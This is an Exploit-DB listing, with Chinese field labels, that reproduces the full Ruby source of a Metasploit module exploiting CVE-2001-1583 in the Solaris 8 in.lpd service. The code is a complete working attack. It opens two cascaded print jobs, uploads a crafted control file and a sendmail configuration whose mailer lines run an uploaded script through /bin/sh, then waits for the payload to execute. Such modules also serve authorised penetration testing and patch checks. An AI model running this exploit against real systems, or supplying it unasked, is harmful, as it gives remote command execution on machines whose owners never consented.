标题: Solaris 8.0 LPD - Command Execution (Metasploit) EDB-ID: 9921 CVE: 2001-1583 类型: REMOTE 平台: SOLARIS 发布日期: 2001-08-31 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'Solaris LPD Command Execution',
   'Description'    => %q{
    This module exploits an arbitrary command execution flaw in
    the in.lpd service shipped with all versions of Sun Solaris
    up to and including 8.0. This module uses a technique
    discovered by Dino Dai Zovi to exploit the flaw without
    needing to know the resolved name of the attacking system.
     
   },
   'Author'         => [ 'hdm', 'ddz' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2001-1583'],
     [ 'OSVDB', '15131'],
     [ 'BID', '3274'],

    ],
   'Platform'       => ['unix', 'solaris'],
   'Arch'           => ARCH_CMD,
   'Payload'        =>
    {
     'Space'       => 8192,
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl telnet',
      }
    }, 
   'Targets'        => 
    [
     [ 'Automatic Target', { }]
    ],
   'DisclosureDate' => 'Aug 31 2001',
   'DefaultTarget' => 0))
   
   register_options(
    [
     Opt::RPORT(515)
    ], self.class)
 end

 def exploit

  # This is the temporary path created in the spool directory
  spath = "/var/spool/print"
  
  # The job ID is squashed down to three decimal digits
  jid   = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]

  # The control file
  control =
   "H"+"metasploit\n"+
   "P"+"\\\"-C"+spath+"/"+jid+"mail.cf\\\" nobody\n"+
   "f"+"dfA"+jid+"config\n"+
   "f"+"dfA"+jid+"script\n"
     

  # The mail configuration file
  mailcf =
   "V8\n"+
   "\n"+
   "Ou0\n"+
   "Og0\n"+
   "OL0\n"+
   "Oeq\n"+
   "OQX/tmp\n"+
   "\n"+
   "FX|/bin/sh #{spath}/#{jid}script\n"+
   "\n"+
   "S3\n"+
   "S0\n"+
   "R\+     #local \\@blah :blah\n"+
   "S1\n"+
   "S2\n"+
   "S4\n"+
   "S5\n"+
   "\n"+
   "Mlocal  P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"+
   "Mprog   P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"
   
  # Establish the first connection to the server
  sock1 = connect(false)
  
  # Request a cascaded job
  sock1.put("\x02metasploit:framework\n")
  res = sock1.get_once
  if (not res)
   print_status("The target did not accept our job request command")
   return
  end
  
  print_status("Configuring the spool directory...")
  if !(
   send_file(sock1, 2, "cfA" + jid + "metasploit", control) and
   send_file(sock1, 3, jid + "mail.cf", mailcf) and
   send_file(sock1, 3, jid + "script", payload.encoded)
     )
      sock1.close
   return
  end
   
  # Establish the second connection to the server
  sock2 = connect(false)
  
  # Request another cascaded job
  sock2.put("\x02localhost:metasploit\n")
  res = sock2.get_once
  if (not res)
   print_status("The target did not accept our second job request command")
   return
  end  
  
  print_status("Triggering the vulnerable call to the mail program...")
  if !(
   send_file(sock2, 2, "cfA" + jid + "metasploit", control) and
   send_file(sock2, 3, "dfa" + jid + "config", mailcf)
     )
      sock1.close
   sock2.close
   return
  end  
 
  sock1.close
  sock2.close
   
  print_status("Waiting up to 60 seconds for the payload to execute...")
  sleep(60)
  
  handler
 end

 def send_file(s, type, name, data='')
  
  s.put(type.chr + data.length.to_s + " " + name + "\n")
  res = s.get_once(1)
  if !(res and res[0] == ?\0)
   print_status("The target did not accept our control file command (#{name})")
   return
  end
  
  s.put(data)
  s.put("\x00")
  res = s.get_once(1)
  if !(res and res[0] == ?\0)
   print_status("The target did not accept our control file data (#{name})")
   return
  end 
  
  print_status(sprintf("     Uploaded %.4d bytes >> #{name}", data.length))
  return true
 end

end URL: https://www.exploit-db.com/exploits/9921